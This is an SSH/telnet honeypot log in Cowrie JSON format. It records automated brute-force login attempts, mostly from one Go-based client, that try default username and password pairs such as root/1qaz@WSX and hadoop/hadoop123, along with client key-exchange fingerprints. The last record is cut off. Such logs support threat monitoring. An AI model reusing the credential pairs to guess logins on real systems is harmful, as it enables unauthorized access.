{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.461801Z","src_ip":"176.65.139.95","session":"dbee0f252032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:52.718337Z","src_ip":"176.65.139.95","session":"dbee0f252032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:53.804083Z","src_ip":"176.65.139.95","session":"dbee0f252032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00364255905151,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:56.202780Z","src_ip":"193.32.21.130","session":"e05aea32c3b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34784,"dst_ip":"159.203.135.109","dst_port":22,"session":"5570426bbf96","protocol":"ssh","message":"New connection: 176.65.139.95:34784 (159.203.135.109:22) [session: 5570426bbf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:58.215039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:58.224308Z","src_ip":"176.65.139.95","session":"5570426bbf96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:58.306926Z","src_ip":"176.65.139.95","session":"5570426bbf96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:58.558306Z","src_ip":"176.65.139.95","session":"5570426bbf96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:44:59.655919Z","src_ip":"176.65.139.95","session":"5570426bbf96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":49670,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e124aadb4ac","protocol":"ssh","message":"New connection: 176.65.139.95:49670 (159.203.135.109:22) [session: 6e124aadb4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:04.058172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:04.072984Z","src_ip":"176.65.139.95","session":"6e124aadb4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:04.166228Z","src_ip":"176.65.139.95","session":"6e124aadb4ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:04.652710Z","src_ip":"176.65.139.95","session":"6e124aadb4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:05.741655Z","src_ip":"176.65.139.95","session":"6e124aadb4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52840,"dst_ip":"159.203.135.109","dst_port":22,"session":"e920b1672f6e","protocol":"ssh","message":"New connection: 159.203.92.129:52840 (159.203.135.109:22) [session: e920b1672f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:06.418395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:06.423843Z","src_ip":"159.203.92.129","session":"e920b1672f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:06.442443Z","src_ip":"159.203.92.129","session":"e920b1672f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinLingzi","password":"123456","message":"login attempt [JinLingzi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:06.477313Z","src_ip":"159.203.92.129","session":"e920b1672f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:07.485674Z","src_ip":"159.203.92.129","session":"e920b1672f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53890,"dst_ip":"159.203.135.109","dst_port":22,"session":"995ddaa114d6","protocol":"ssh","message":"New connection: 176.65.139.95:53890 (159.203.135.109:22) [session: 995ddaa114d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:10.042555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:10.049396Z","src_ip":"176.65.139.95","session":"995ddaa114d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:10.132333Z","src_ip":"176.65.139.95","session":"995ddaa114d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:10.399183Z","src_ip":"176.65.139.95","session":"995ddaa114d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:11.489299Z","src_ip":"176.65.139.95","session":"995ddaa114d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53922,"dst_ip":"159.203.135.109","dst_port":22,"session":"f39f3bfdf876","protocol":"ssh","message":"New connection: 176.65.139.95:53922 (159.203.135.109:22) [session: f39f3bfdf876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:15.747624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:15.756079Z","src_ip":"176.65.139.95","session":"f39f3bfdf876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:15.838309Z","src_ip":"176.65.139.95","session":"f39f3bfdf876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:16.148751Z","src_ip":"176.65.139.95","session":"f39f3bfdf876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:17.240730Z","src_ip":"176.65.139.95","session":"f39f3bfdf876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c4190d56450","protocol":"ssh","message":"New connection: 176.65.139.95:53804 (159.203.135.109:22) [session: 5c4190d56450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:21.557857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:21.563280Z","src_ip":"176.65.139.95","session":"5c4190d56450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:21.644894Z","src_ip":"176.65.139.95","session":"5c4190d56450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:21.947443Z","src_ip":"176.65.139.95","session":"5c4190d56450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:23.035568Z","src_ip":"176.65.139.95","session":"5c4190d56450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53808,"dst_ip":"159.203.135.109","dst_port":22,"session":"b38787c97604","protocol":"ssh","message":"New connection: 176.65.139.95:53808 (159.203.135.109:22) [session: b38787c97604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:27.281737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:27.299649Z","src_ip":"176.65.139.95","session":"b38787c97604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:27.397931Z","src_ip":"176.65.139.95","session":"b38787c97604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:27.737348Z","src_ip":"176.65.139.95","session":"b38787c97604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:28.824174Z","src_ip":"176.65.139.95","session":"b38787c97604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43616,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e458d1a484a","protocol":"ssh","message":"New connection: 176.65.139.95:43616 (159.203.135.109:22) [session: 0e458d1a484a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:32.799645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:45:32.805566Z","src_ip":"176.65.139.95","session":"0e458d1a484a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh